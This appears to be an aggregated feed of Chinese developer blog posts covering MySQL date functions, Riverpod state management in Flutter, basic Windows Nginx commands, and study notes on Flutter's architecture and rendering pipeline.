在数据库应用中,记录操作的时间戳是非常常见的需求。NOW函数就像一个神奇的时间快门,能够在瞬间捕捉到当前数据库记录的时间。

比如,在用户登录系统时,我们需要记录用户的登录时间,以便后续进行用户行为分析、系统运维或是安全审计。此时,使用NOW函数就可以轻松获取当前的精确时间。

SELECT NOW() AS current_time;

执行这条语句,它会精确地返回当前的时间,精确到秒,为我们提供了准确的时间记录,方便后续的各种时间相关的数据分析和处理。

DATE_FORMAT 函数 - 时间格式化大师

当我们获取到时间数据后,可能会发现其格式并不符合我们的实际需求。别担心,DATE_FORMAT函数就像一位时尚的造型设计师,可以把时间数据精心打扮一番,使其满足各种展示和应用要求。

例如,我们获取到的当前时间是系统默认的格式,包含了时分秒等详细信息,但在某些场景下,我们只需要以 “年 - 月 - 日” 的简洁格式来展示日期。这时,DATE_FORMAT函数就能大显身手。

SELECT DATE_FORMAT(NOW(), '%Y-%m-%d') AS formatted_date;

它会将当前时间按照指定的格式进行转换,变成整齐又美观的 “年 - 月 - 日” 格式。无论是用于报表展示、数据分析,还是用户界面的时间显示,都更加清晰直观,提升了数据的可读性和可用性。

MySQL 的函数家族就像一座蕴含无尽宝藏的矿山,还有众多强大而有趣的函数等待着大家去深入挖掘和探索。熟练掌握这些函数,你在 SQL 的广阔天地里就能如鱼得水,自由驰骋,成为一名令人敬仰的数据处理大师!下次,咱们接着聊更多有趣又实用的数据库知识,不见不散哦!

by 创码小奇客 at January 21, 2025 09:13 AM

juejin frontend

基于 Flutter 从零开发一款产品(五)—— 状态管理

前言

本系列是实战课程文章,通过一个完整的 Flutter 项目,上手 Flutter 开发,其中会涉及到路由、网络、状态管理等开发中需要用到的基础知识,通过这些系列的文章讲解,可以快速上手一个 Flutter 项目。这篇文章,我们来谈谈状态管理。说说什么是状态管理,为什么需要状态管理,这常常是困扰新手上路的一个问题。今天我们就来用实际的例子来聊聊如何使用状态管理,在实践当中进行学习。

什么是状态管理

状态是指用户界面(UI)显示的数据,它可能随着用户操作或应用逻辑的变化而发生改变,而状态管理就是如何追踪、更新这些数据,并让 UI 保持同步。例如:一个购物车应用。用户可以添加商品到购物车,删除商品,并查看总价。这里的状态包括:商品列表、购物车中的商品数量、总价这些在用户操作的时候界面都会发生相应的变化,如果没有一个清晰的状态管理方式,数据更新可能会变得难以维护,UI 和数据之间容易失去同步。

Flutter 提供了多种方式来管理状态,分为两大类:

  • 本地状态管理(简单应用):适用于单个组件或页面内的状态。
  • 全局状态管理(复杂应用):适用于需要在多个组件之间共享状态的情况。

我们现在以 BiliVideoDown 项目当中的暗黑模式切换谈谈当中所运用到的状态管理。

GIF 2025-1-21 15-08-33.gif

在这里,切换暗黑模式的按钮和其他界面在不同的组件当中,其他界面的组件是如何知道切换到了暗黑模式,根据暗黑模式的状态改变自身的主题颜色呢?这就是一个典型的状态管理的场景,状态统一进行管理,可以理解统一放在内存当中的某个地方,各个组件在需要的时候读取这个状态即可。下面就来看看如何使用 Riverpod 进行状态的管理。关于 Riverpod,这里就不多做介绍了,Riverpod 是 Flutter 生态中一个现代化的状态管理库,相比于 Provider,它更加灵活、强大,并提供了一些新的特性,让开发状态管理更加简洁高效。

通过主题色切换理解状态管理

理解 Riverpod 当中的核心概念:

  • 状态提供者:用于存储和管理状态
  • 状态消费者:用于从提供者中读取或更新状态。

引入 Riverpod

首先,在 pubspec.yaml 中添加 Riverpod 依赖:

dart pub add riverpod

启用 Riverpod

在应用的根组件中使用 ProviderScope 包裹应用,启用 Riverpod 状态管理功能:

void main() async {
  await init();
  runApp(const ProviderScope(child: MyApp()));
}

定义 ThemeService 来管理 ThemeState,并通过 StateNotifierProvider 暴露状态:


@MappableClass()
class ThemeState with ThemeStateMappable {
  final bool isDark;
  final ThemeMode themeMode;
  const ThemeState({
    required this.isDark,
    required this.themeMode,
  });
}


final themeProvider = StateNotifierProvider<ThemeService, ThemeState>((ref) {
  final themeService = ThemeService();
  themeService.init();
  return themeService;
});

class ThemeService extends StateNotifier<ThemeState> {
  ThemeService()
      : super(const ThemeState(isDark: false, themeMode: ThemeMode.light));

  // Initialize ThemeState
  void init() {
    bool isDark = SpUtil.getBool(SpKey.isDarkTheme) ?? false;
    state = state.copyWith(isDark: isDark, themeMode: getThemeMode(isDark));
  }

  ThemeMode getThemeMode(bool isDark) {
    return isDark ? ThemeMode.dark : ThemeMode.light;
  }

  void switchThemeMode() async {
    bool isDark = !state.isDark;
    state = state.copyWith(isDark: isDark, themeMode: getThemeMode(isDark));
    await SpUtil.putBool(SpKey.isDarkTheme, isDark);
  }
}

创建一个主题切换按钮,我们通过 ConsumerWidgetWidgetRef 在界面组件中访问和使用状态:

class ThemeSwitchIcon extends ConsumerWidget {
  const ThemeSwitchIcon({super.key});

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final appThemeProvider = ref.watch(themeProvider);
    return MouseRegion(
      cursor: SystemMouseCursors.click,
      child: GestureDetector(
        onTap: () {
          ref.read(themeProvider.notifier).switchThemeMode();
        },
        child: Padding(
          padding: const EdgeInsets.only(bottom: 16, top: 16),
          child: Icon(
            appThemeProvider.isDark
                ? Icons.light_mode_outlined
                : Icons.dark_mode_outlined,
            color: appThemeProvider.isDark ? Colors.white : Colors.black,
          ),
        ),
      ),
    );
  }
}

根组件监听状态,让主题模式动态影响应用的全局主题:

class MyApp extends ConsumerWidget {
  const MyApp({super.key});

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final appThemeProvider = ref.watch(themeProvider);
    return MaterialApp.router(
      debugShowCheckedModeBanner: false,
      routerConfig: routerConfig,
      theme: ThemeData(
        primarySwatch: Colors.blue,
        brightness: Brightness.light,
      ),
      darkTheme: ThemeData(
        primarySwatch: Colors.blue,
        brightness: Brightness.dark,
      ),
      themeMode: appThemeProvider.themeMode,
    );
  }
}

总结:

  • 状态分离:通过 ThemeState 定义状态模型,数据与逻辑分离。
  • 全局共享:利用 StateNotifierProvider,全局共享主题状态。
  • 界面与状态解耦:UI 通过 Riverpod 监听状态变化,自动响应更新。

by 阳光的碎屑 at January 21, 2025 09:09 AM

juejin backend

Windows下常见Nginx的启动、停止、重新加载等命令

Windows下常见Nginx的启动、停止、刷新等命令

打开cmd命令窗口

win+R组合键 或者 开始—->运行—->cmd,进入到nginx盘符中

QQ截图20250121165717.png

查看版本信息

nginx -v 简单显示版本信息
nginx -V 不但显示版本信息,还显示配置的参数信息

QQ截图20250121170241.png

启动

1. start nginx 或 start nginx.exe
2. nginx.exe

注意:建议使用第一种,第二种会让cmd窗口一直处于执行中,不能进行其他命令操作。

如果需要执行置nginx路径,可以执行命令 start nginx -c conf/nginx.conf

停止

1. nginx -s stop
2. nginx -s quit

注意:stop是快速停止nginx,可能并不保存相关信息;quit是完整有序的停止nginx,并保存相关信息。

重新加载Nginx

nginx -s reload

测试nginx配置是否正确

nginx -t

QQ截图20250121170121.png

查看nginx端口

tasklist | findstr "nginx"

by 熊猫片沃子 at January 21, 2025 09:07 AM

juejin ios

flutter自学笔记10- Widget 构建、渲染流程和原理、布局算法优化

笔记1:介绍一下flutter

笔记2-了解Flutter UI 页面和跳转

笔记3- 常用 Widget 整理

笔记4- dart 语法快速学习

笔记5- dart 编码规范

笔记6- 网络请求、序列化、平台通道介绍

笔记7- 状态管理、数据持久化

笔记8- package、插件、主题、国际化

笔记9 - 架构、调试、打包部署

笔记10- Widget 构建、渲染流程和原理、布局算法优化

笔记11- 性能、渲染、包体积、懒加载、线程、并发隔离

本文梳理了从 Widget 基本构建流程、平台差异、渲染流程和机制、布局和算法的优化等内容

一、Flutter 架构概览

Architectural diagram

层级/组件描述涉及技术/语言
底层操作系统- Flutter应用与底层OS交互的接口-
嵌入层提供程序入口,协调与OS的服务,管理事件循环队列
- Flutter代码可以集成到现有应用或作为主体-
Flutter引擎- Flutter核心,使用C++编写C++
功能- 栅格化场景,提供核心API的底层实现(当需要绘制新一帧的内容时,引擎将负责对需要合成的场景进行栅格化)
- 图形(在 iOS 和 Android 上通过 Impeller,在其他平台上通过 Skia),文本布局,文件及网络IO,辅助功能,插件架构
- Dart运行环境及编译环境的工具链
dart:ui- 引擎将底层 C++ 代码包装成 Dart 代码,通过 dart:ui 暴露给 Flutter 框架层
Flutter框架层- 开发者交互层,现代响应式框架,使用Dart编写Dart
foundational- 基础类及构建块服务,如animation、painting、gestures
渲染层- 提供操作布局的抽象,构建渲染对象树
widget层- 组合抽象,每个渲染对象对应widgets层的一个类,响应式编程模型
Material和Cupertino库- 提供Material和iOS设计规范的widgets组合
附加软件包- 更高层级功能,拆分为不同软件包Dart, Flutter核心库,平台插件,与平台无关的功能,生态系统中的软件包。【其中包括平台插件,例如 camerawebview;与平台无关的功能,例如 charactershttpanimations。还有一些软件包来自于更为宽泛的生态系统中,例如 应用内支付Apple 认证Lottie 动画。】

通过 flutter create 命令创建的应用的结构概览:

组件描述备注
Dart 应用
widget 合成将 widget 合成预期的 UI由应用开发者进行管理
业务实现实现对应的业务逻辑由应用开发者进行管理
框架(源代码)
API 封装提供上层的 API 封装,用于构建高质量的应用(例如 widget、触摸检测、手势竞技、无障碍和文字输入)
Scene 构建将应用的 widget 树构建至一个 Scene 中
引擎(源代码)
Scene 栅格化将已经合成的 Scene 进行栅格化
核心 API 封装对 Flutter 的核心 API 进行了底层封装(例如图形图像、文本布局和 Dart 的运行时)
dart:ui API将其功能通过 dart:ui API 暴露给框架
嵌入层 API使用嵌入层 API 与平台进行整合
嵌入层(源代码)
操作系统服务协调协调底层操作系统的服务,例如渲染层、无障碍和输入
事件循环管理管理事件循环体系
平台 API 暴露将特定平台的 API 暴露给应用集成嵌入层
运行器
应用包合成将嵌入层暴露的平台 API 合成为目标平台可以运行的应用包部分内容由 flutter create 生成,由应用开发者进行管理

二、VM(程序虚拟机)

Flutter应用会在一个VM(程序虚拟机)中运行,这一机制是Flutter开发框架的一个重要组成部分。以下是对这一现象的详细解释:

Flutter与VM的关系

Flutter是一款移动应用程序跨平台框架,它允许开发者使用Dart语言编写代码,然后生成高性能、高保真的iOS和Android应用程序。在这个过程中,Flutter应用会在一个虚拟机(VM)中运行。这个VM提供了有状态的热重新加载功能,使得开发者可以在不完全重新编译应用的情况下,快速预览代码更改的效果。

Dart VM的特性
  • 语言支持:Dart语言同时支持AOT(Ahead-Of-Time,提前编译)和JIT(Just-In-Time,即时编译)两种运行方式。在开发阶段,JIT模式使得热刷新成为可能,大大提高了开发效率。
  • 性能优化:尽管在开发阶段使用JIT模式,但在发布阶段,Flutter应用会被编译为机器代码,无论是Intel x64还是ARM指令集,以确保最佳性能。
  • 跨平台能力:Dart VM的跨平台特性使得Flutter应用能够在多种操作系统和设备上运行,而无需针对每个平台进行单独的编译。
Flutter VM的工作原理
  • 代码执行:在Flutter VM中,Dart代码被编译并执行。VM负责处理代码的执行、内存管理、垃圾回收等底层任务。
  • 热刷新:在开发过程中,当开发者对代码进行修改后,Flutter VM能够捕获这些更改,并快速地将它们应用到正在运行的应用中,而无需重新启动应用或完全重新编译。
  • 状态管理:Flutter应用中的状态管理是通过Widget树和各自的状态来实现的。当某个Widget的状态发生变化时,Flutter框架会负责对比前后状态差异,并以最小代价来更新渲染结果。
Flutter VM的优势
  • 提高开发效率:热刷新功能使得开发者可以即时看到代码更改的效果,大大缩短了开发周期。
  • 保证应用性能:尽管在开发阶段使用JIT模式,但在发布阶段,Flutter应用会被编译为高效的机器代码,确保最佳性能。
  • 跨平台一致性:Flutter VM的跨平台特性使得开发者能够编写一次代码,即可在多种设备和操作系统上运行应用,而无需针对每个平台进行单独的适配。

Flutter应用在一个VM中运行是其开发框架的一个重要组成部分。这个VM提供了强大的语言支持、性能优化和跨平台能力,使得Flutter应用能够在多种设备和操作系统上高效、一致地运行。同时,VM中的热刷新功能也大大提高了开发效率。

三、Widgets

1、widget

在 Flutter 里,widgets(类似于 React 中的组件)是用来配置对象树的不可变类,每个 widget 都是一部分不可变的 UI 声明。

这些 widgets 会管理单独的布局对象树,接着参与管理合成的布局对象树。

Flutter 的核心就是一套高效的遍历树的变动的机制,它会将对象树转换为更底层的对象树,并在树与树之间传递更改。

Flutter 拥有其自己的 UI 控制实现,而不是由系统自带的方法进行托管:

  • 提供了无限的扩展性。当开发者想要一个 Switch 的改装时,他们可以以任意方式创建一个,而不被系统提供的扩展所限制。
  • Flutter 可以直接合成所有的场景,而无需在 Flutter 与原生平台之间来回切换,从而避免了明显的性能瓶颈。
  • 将应用的行为与操作系统的依赖解耦。在任意一种系统平台上体验应用,都将是一致的,就算某个系统更改了其控件的实现,也是如此。

2、widget组成

Widget可以表示屏幕上的绘制、布局(位置和大小)、用户交互、状态管理、主题、动画及导航等

比如:

动画层:AnimationTween

渲染层:RenderObject 用来描述布局、绘制、触摸判断及可访问性

没有视觉内容功能:包含了布局、绘制、定位和大小的功能的Container 是由 LimitedBoxConstrainedBoxAlignPaddingDecoratedBoxTransform 组成的

3、widget构建

通过重写 build() 方法,返回一个新的元素树定义视觉UI

build() 是将状态转化为 UI 的方法,widget 通过重写该方法来声明 UI 的构造:

UI = f(state)

build() 方法在框架需要时都可以被调用(每个渲染帧可能会调用一次),从设计角度来看,它应当能够快速执行且没有额外影响的。

这样的实现设计依赖于语言的运行时特征(特别是对象的快速实例化和清除)。幸运的是,Dart 非常适合这份工作

每个渲染帧,Flutter 都可以根据变化的状态,调用 build() 方法重建部分 UI,确保build 方法轻量且能快速返回 widget 是非常关键的,繁重的计算工作应该通过一些异步方法完成,并存储在状态中,在 build 方法中使用

4、widget状态

InheritedWidget:

通过 build() 方法可以确保子 widget 使用其所需的数据进行实例化,随着 widget 树层级逐渐加深,依赖树形结构上下传递状态信息会变得十分麻烦。这时需要用到InheritedWidget。

主题:主题是典型的状态共享示例,调用 of(context) 会根据当前构建的上下文(即当前 widget 位置的句柄)逐级向上一级遍历直到找到对应的状态:

Container(
  color: Theme.of(context).secondaryHeaderColor,
  child: Text(
    'Text with a background color',
    style: Theme.of(context).textTheme.titleLarge,
  ),
);

更高级的InheritedWidget封装 provider 用于状态管理更方便。

5、widget 层次结构

示例代码:

Container(
  color: Colors.yellow,
  child: Row(
    children: [
      Image.network('xxx.png'),
      const Text('风景图'),
    ],
  ),
);

代码绘制流程:

1、调用 build() 方法构建 widget 子树(返回一棵基于当前应用状态来绘制 UI 的 widget 子树)

2、插入节点 Container 的 Element

3、判断背景 color 属性不为空,ColoredBox (处理颜色)会被加入

4、插入节点Row (对应child)

5、开始处理child的子树 Image和 Text

7、插入子节点 RawImageRichText(分别对应ImageText

整个流程(widget 子树)如下图左

Render pipeline sequencing diagram

其中左图:

1、蓝色实线圆:表示 UI 生命周期 的Element 宿主(用户可见)

2、灰色虚线圆:参与布局或绘制阶段的Element(用户不可见)

而图左的本质是图右:包含 ComponentElement和RenderObjectElement

1、ComponentElement

  • 定义与角色:ComponentElement是其他Element的宿主,它允许Widget的构建逻辑和渲染逻辑分离。这意味着ComponentElement能够处理更为复杂的生命周期事件,如状态更新、子树重绘等。
  • 关键方法
    • mount:当Widget被添加到元素树中时调用,用于初始化任何必要的资源或状态。
    • unmount:当Widget从元素树中移除时调用,用于释放任何已分配的资源。
    • rebuild:如果Widget被替换,ComponentElement会调用rebuild方法来创建一个新的Widget并替换旧的Widget。
    • update:当Widget树中需要更新时调用,用于处理Widget的变化并决定是否需要重新构建子树。

2、RenderObjectElement

  • 定义与角色:RenderObjectElement是参与布局或绘制阶段的Element。它负责将Widget的描述转化为具体的RenderObject,后者负责实际的布局和绘制工作。
  • 特点
    • RenderObjectElement持有与之关联的Widget的实例,当Widget发生变化时,它会触发更新过程,导致RenderObject重新布局和绘制。
    • 它还负责将用户交互事件从RenderObject传递回Widget,以便Widget可以响应这些事件

Flutter中的大部分widget都是通过继承自RenderBox的类来渲染的。RenderBox是Flutter渲染树中的一个基础类,它提供了一个盒子模型(box model),这个模型定义了widget在二维笛卡尔空间(即屏幕)中的位置和大小。

Differences between the widgets hierarchy and the element and render trees

RenderBox 和 盒子模型

  • 盒子模型:在Flutter中,RenderBox提供了一个简单的盒子模型,其中每个盒子(即widget的渲染表示)都有一个位置、大小以及可选的边距(margin)、边框(border)、内边距(padding)和内容区域。这个模型与Web开发中常用的盒子模型非常相似。
  • 位置和大小:每个RenderBox都有一个父坐标系中的位置(通常是通过其左上角的坐标来定义的)和一个固定的大小(宽度和高度)。这些属性共同决定了盒子在屏幕上的可见区域。
  • 最小和最大约束RenderBox还允许为其关联的widget设置最小和最大的宽度和高度约束。这些约束在布局过程中非常重要,因为它们告诉父widget如何调整子widget的大小以满足布局要求。

6、Flutter UI三个核心

在Flutter中,widget、Element和RenderObject这三个核心概念各自扮演着不同的角色,但它们共同构建了一个灵活的UI框架,允许开发者以高度定制化的方式创建用户界面。

6.1 Widget

Widget是Flutter中的UI构建块,它们描述了UI的结构和外观。大多数widget都有一个或多个子widget,这些子widget通过child或children属性暴露出来。Widget本身并不直接参与布局和渲染,而是作为UI蓝图存在。

  • 单一子节点:有些widget只接受一个子节点,比如Container,它通过child属性接收。
  • 多个子节点:有些widget可以接受任意数量的子节点,比如Column或Row,它们通过children属性接收一个子节点列表。
  • 无子节点:还有一些widget没有子节点,比如Text或Icon,它们直接描述了一个具体的UI元素。
6.2 Element

Element是widget在Flutter框架中的实例化表示。当widget树被构建时,每个widget都会对应一个Element。Element负责在运行时管理widget的状态和生命周期。虽然开发者通常不直接与Element打交道,但它们是Flutter框架内部实现UI更新和状态管理的重要部分。

6.3 RenderObject

RenderObject是负责布局和渲染的具体实现类。它们与Element相关联,但直接与底层的渲染引擎交互。RenderObject定义了如何在屏幕上绘制UI元素以及它们如何相互布局。

  • 叶子节点:像RenderImage这样的RenderObject没有子节点,它们直接渲染一个图像。
  • 单一子节点:RenderPadding这样的RenderObject有一个子节点,它用于在子节点周围添加内边距。
  • 多个子节点:RenderFlex可以接受任意数量的子节点,并通过链表管理它们,实现灵活的布局,如弹性盒子布局。
定制化子模型

Flutter允许每个RenderObject对适用于该对象的子模型进行定制化。这意味着不同的RenderObject可以有不同的方式来管理它们的子节点。例如,RenderTable使用二维数组来存储子节点,以适应表格布局的需求。

专用子模型和通用子模型
  • 专用子模型:有些widget,如Chip和InputDecoration,具有与其控制中的插槽相匹配的字段。这些字段允许开发者以更具语义化的方式添加子节点,比如将第一个子节点定义为前缀,第二个子节点定义为后缀。
  • 通用子模型:大多数widget使用child或children属性来接收子节点,这种方式更加通用,但可能缺乏专用子模型所提供的语义化。
极端情况:RenderParagraph和TextSpan

RenderParagraph是一个特殊的RenderObject,它的子节点是TextSpan对象,而不是其他RenderObject。这意味着在RenderParagraph的边界内,RenderObject树被转换为TextSpan树。这种情况展示了Flutter框架的灵活性,允许开发者以最适合特定UI元素的方式来组织子节点。

琐碎Widget的存在

Flutter还提供了一些琐碎的widget,如Expanded、SizedBox和Visibility,它们封装了常见的UI模式,使开发者能够更容易地实现特定的UI效果。这些widget的存在简化了开发过程,让开发者能够更快地找到并解决问题。

7、RenderObject树和Element(Widget)树的关系

在Flutter中,RenderObject树和Element树是同构的,但RenderObject树实际上是Element树的一个子集。这意味着每一个RenderObject在Element树中都有一个对应的Element节点,但并非每一个Element节点都会有一个对应的RenderObject。这种设计允许Flutter在处理布局和绘制时更加灵活和高效。

分离的好处:

  1. 性能优化
    • 当布局发生改变时,Flutter只需要遍历与布局相关的RenderObject树,而无需遍历整个Element树。由于Widget组合的原因,Element树中可能包含许多与布局无关的额外节点,这些节点在布局计算中可以被安全地忽略。
    • 这种分离使得Flutter能够更精确地定位到需要更新的部分,从而减少不必要的计算和渲染,提高应用的性能。
  2. 清晰的职责分离
    • RenderObject树和Element树各自承担不同的职责。RenderObject树专注于布局和绘制,而Element树则负责Widget的生命周期管理和状态更新。
    • 这种清晰的职责分离使得Flutter的API更加简洁明了,降低了学习和使用的难度。同时,它也有助于减少bug的发生,因为开发者可以更加专注于自己熟悉的领域。
  3. 类型安全
    • RenderObject树在运行时能够保证子节点具有合适的类型。由于每个坐标系都有自己的RenderObject类型,这使得Flutter能够在布局时准确地验证和匹配子节点的类型。
    • 相比之下,Element树中的Widget组合更加灵活,可以不受布局坐标系的限制。因此,在Element树中验证RenderObject的类型需要额外的遍历和检查,这增加了复杂性和潜在的错误风险。

8、RenderView

在Flutter中,RenderObject树的根节点是RenderView。这个根节点代表了整个渲染树的输出,它是连接Flutter框架和底层渲染引擎(如Skia)的桥梁。RenderView负责协调整个渲染过程,确保每一帧的内容都能够正确地显示在屏幕上。

当平台需要渲染新的一帧内容时,这通常是由一些外部事件触发的,比如垂直同步信号(vsync)或者纹理的更新完成。在这些事件发生时,Flutter框架会调用RenderViewcompositeFrame()方法。

compositeFrame()方法是渲染过程的核心,它负责创建一个SceneBuilder对象。SceneBuilder是一个辅助类,它用于构建和描述当前要渲染的场景(即一帧的内容)。在这个过程中,SceneBuilder会遍历整个RenderObject树,收集所有需要渲染的信息,比如各个widget的位置、大小、颜色、纹理等。

一旦SceneBuilder完成了对当前场景的描述,它就会将这些信息传递给dart:ui库中的Window.render()方法。Window是Flutter与底层操作系统和硬件进行交互的接口,它提供了与屏幕、输入设备等进行交互的能力。

Window.render()方法接收SceneBuilder构建的场景信息,并将其传递给GPU进行渲染。GPU是专门用于图形处理的硬件加速器,它能够高效地处理复杂的图形计算任务,并将渲染结果输出到屏幕上。

总的来说,RenderViewSceneBuilderWindow.render()共同构成了Flutter的渲染管道。这个管道负责将Flutter框架中的widget树转换为屏幕上的像素,从而实现了用户界面的动态更新和渲染。

四、平台嵌入层

1、平台嵌入层的功能

  1. 提供入口和初始化:当启动一个Flutter应用时,嵌入层会提供一个入口点,用于初始化Flutter引擎。这包括获取UI和栅格化线程,以及创建Flutter可以写入的纹理。
  2. 管理应用生命周期:嵌入层负责管理Flutter应用的生命周期,包括处理输入操作(如鼠标、键盘和触控)、窗口大小的变化等。
  3. 线程管理和消息传递:嵌入层还负责线程的管理和平台消息的传递,确保Flutter应用能够高效地与底层操作系统进行交互。
  4. Flutter 拥有 Android、iOS、Windows、macOS 和 Linux 的平台嵌入层

2、不同平台的嵌入层实现

  1. iOS和macOS
    • Flutter通过UIViewController(iOS)和NSViewController(macOS)载入到嵌入层。
    • 嵌入层会创建一个FlutterEngine,作为Dart VM和Flutter运行时的宿主。
    • FlutterViewController关联对应的FlutterEngine,传递UIKit(iOS)或Cocoa(macOS)的输入事件到Flutter。
    • Flutter引擎渲染的帧内容通过Metal或OpenGL进行展示。
  2. Android
    • Flutter默认作为一个Activity加载到嵌入层中。
    • 视图通过FlutterView进行控制。
    • 根据Flutter内容的合成和z排列(z-ordering)的要求,将Flutter的内容以视图模式或纹理模式进行呈现。
  3. Windows
    • Flutter的宿主是一个传统的Win32应用。
    • 内容通过ANGLE库进行渲染,该库将OpenGL API调用转换成DirectX 11的等价调用。
    • 正在尝试将UWP应用作为Windows的一种嵌入层,并考虑通过DirectX 12直接调用GPU。

3、自定义嵌入层

Flutter允许开发者创建自定义的嵌入层。例如,已经存在通过VNC风格的帧缓冲区支持远程Flutter的例子,以及支持树莓派运行的Flutter例子。这些自定义嵌入层展示了Flutter在不同环境和设备上的灵活性和可扩展性。

4、Flutter嵌套原生view

Flutter通过引入平台widget(AndroidViewUiKitView)确实解决了在不同平台上显示原生视图的问题。这两个widget允许Flutter应用在需要时嵌入和显示原生平台的视图组件,从而充分利用平台特定的功能和特性。

AndroidView

  • 作用AndroidView允许在Flutter应用中嵌入和显示Android的原生视图。这对于需要在Flutter应用中集成特定的Android组件或服务(如地图、视频播放器等)时非常有用。
  • 实现原理AndroidView通过Flutter的平台通道与Android原生代码进行通信。它会在Flutter的渲染树中创建一个占位符,并在后台创建一个对应的Android视图。这个视图会被嵌入到Flutter应用的界面中,并且可以通过平台通道与Flutter代码进行交互。

UIKitView

  • 作用:与AndroidView类似,UiKitView允许在Flutter应用中嵌入和显示iOS的原生视图。这对于需要在Flutter应用中集成特定的iOS组件或服务时非常有用。
  • 实现原理UiKitView的实现原理与AndroidView相似,也是通过Flutter的平台通道与iOS原生代码进行通信。它会在Flutter的渲染树中创建一个占位符,并在后台创建一个对应的iOS视图。这个视图同样会被嵌入到Flutter应用的界面中,并且可以通过平台通道与Flutter代码进行交互。

性能开销

嵌入原生视图可能会引入一定的性能开销,特别是在频繁更新或动画效果较多的情况下。因此,开发者需要在使用时权衡性能和功能之间的平衡。

5、Flutter引擎的Web实现

Flutter引擎原本是用C++编写的,主要用于与底层操作系统进行交互。然而,在Web平台上,由于不存在直接的操作系统API访问,Flutter需要重新实现其引擎部分。Flutter在Web上使用了浏览器的标准API来重新实现引擎的功能,这使得Flutter应用能够在Web浏览器上运行。

Dart语言从设计之初就支持直接编译成JavaScript,这为Flutter在Web上的运行提供了基础。Flutter框架本身是用Dart编写的,因此将其编译成JavaScript并在Web浏览器上运行是相对简单的。Dart编译器会生成高效的JavaScript代码,从而确保Flutter应用在Web上的性能

Flutter web architecture

Web上的呈现选项

在Web平台上,Flutter提供了两种呈现内容的选项:HTML和WebGL。

  1. HTML模式
    • 在HTML模式下,Flutter使用HTML、CSS、Canvas和SVG等Web技术进行渲染。
    • 这种模式提供了较小的代码大小,因为HTML、CSS和Canvas等Web技术本身就是浏览器原生支持的,无需额外的库或框架。
    • 然而,HTML模式的渲染性能可能不如WebGL模式。
  2. WebGL模式
    • 在WebGL模式下,Flutter使用了一个编译为WebAssembly的Skia版本,名为CanvasKit。
    • WebGL提供了更强大的图形渲染能力,因此CanvasKit能够为Flutter应用提供更高的图形保真度和更好的性能。
    • 但是,WebGL模式会增加应用的代码大小,因为需要包含WebGL和CanvasKit的额外代码。

五、编译器

开发阶段:dartdevc 编译器

在开发 Flutter Web 应用时,dartdevc(Dart Development Compiler)是主要的编译器。这个编译器支持增量编译,这意味着它只会重新编译发生变化的代码部分,而不是整个应用。这个特性对于提升开发体验至关重要,因为它大大减少了每次代码修改后的编译时间。

  • 热重启(Hot Restart):尽管 Flutter Web 目前还不完全支持热重载(Hot Reload),它支持热重启。热重启会在应用运行时替换整个 Dart 运行时环境,从而允许开发者在不重启整个浏览器的情况下看到最新的代码更改。这同样依赖于 dartdevc 编译器的快速编译能力。
生产阶段:dart2js 编译器

当准备好将 Flutter Web 应用部署到生产环境时,dart2js(Dart to JavaScript Compiler)是首选的编译器。dart2js 将 Dart 代码深度优化并编译成高效的 JavaScript 代码,这是部署到浏览器环境的标准格式。

  • 代码优化dart2js 会对 Dart 代码进行深度优化,包括代码混淆(minification)、死代码消除(dead code elimination)和其他多种优化技术,以确保生成的 JavaScript 代码尽可能小且运行速度快。
  • 部署选项:生成的 JavaScript 代码可以打包成一个单一的文件,便于部署。然而,为了改善应用的加载时间和性能,也可以将代码拆分成多个文件,使用延迟加载库(code splitting)技术。这允许浏览器在需要时才加载某些代码段,从而减少初始加载时间。
部署到服务器

一旦使用 dart2js 编译了 Flutter Web 应用,生成的文件就可以部署到任何能够托管静态文件的服务器上。这包括云服务器、内容分发网络(CDN)以及像 Firebase Hosting、GitHub Pages 这样的托管服务

六、渲染机制

1、渲染流程

Flutter 的渲染机制确实遵循了简单快速的首要原则,并且它通过一系列高效的步骤确保用户界面的流畅和响应性。

  1. User Input:用户通过键盘、触摸屏等输入设备进行操作。
  2. Responses to Input Gestures:系统响应用户的输入手势,这些手势可以是点击、滑动、长按等。
  3. Animation:Flutter 支持丰富的动画效果,可以响应用户输入或内部状态变化来触发动画。
  4. User Interface Changes Triggered by Timer:定时器(如帧刷新定时器)可以触发用户界面的定时变化,例如动画的连续帧更新。
  5. Build:应用代码构建屏幕上的 Widgets。Widgets 是 Flutter 中用户界面的基本构建块,它们描述了 UI 的结构。
  6. Layout:布局阶段确定每个元素在屏幕上的位置和大小。Flutter 使用一种称为约束传递的布局模型,从根 Widget 开始向下传递布局约束。
  7. Paint:绘制阶段将布局后的元素转换为视觉表示。这包括绘制形状、文本、图像等。
  8. Composition:组合阶段负责按照绘制顺序将视觉元素叠加在一起。这是确保正确显示层次关系的关键步骤。
  9. Rasterize:光栅化阶段将组合后的图像转换为 GPU 可以理解的渲染指令。这一步骤将二维图像转换为像素数据,准备在屏幕上显示。
  10. GPU Render:最后,GPU 渲染指令被发送到图形处理器(GPU),GPU 负责高效地将像素数据渲染到屏幕上。

这个流程确保了 Flutter 应用能够快速响应用户输入,同时保持高质量的视觉效果。Flutter 的这种渲染机制得益于其底层架构,特别是其使用 Dart 语言和 Skia 、Impeller图形库,共同为 Flutter 提供了高性能和跨平台的渲染能力

Flutter 的界面构建、布局、合成和绘制全都由 Flutter 自己完成,而不是转换为对应平台系统的原生组件

2、渲染引擎

Impeller是Flutter的新一代渲染引擎,其核心职责是绘制应用的界面,这包括布局计算、纹理映射、动画处理等一系列任务。它负责将代码转换为像素、颜色和形状,因此会直接影响应用的性能和渲染效果。以下是对Impeller渲染引擎的详细介绍:

一、Impeller的替换背景

尽管Skia是一个优秀的通用2D图形库,被广泛应用于Google Chrome、Android、Firefox等设备,但由于其通用性,它无法专门针对Flutter的要求进行优化。Skia附带的许多功能超出了Flutter的需求,其中一些可能会导致不必要的开销,导致渲染时间变慢。因此,Skia的通用性给Flutter带来了性能瓶颈。相比之下,Impeller是专门为Flutter设计的,旨在优化Flutter架构的渲染过程。

二、Impeller的渲染优势
  1. 高效的GPU利用:Impeller的渲染方法在Flutter上可以比Skia更有效地利用GPU,让设备的硬件以更少的工作量来渲染动画和复杂的UI元素,从而提高渲染速度。
  2. 提前优化图形渲染:Impeller采用tessellation和着色器编译来分解和提前优化图形渲染。这种策略可以减少设备上的硬件工作负载,从而实现更快的帧速率和更流畅的动画。
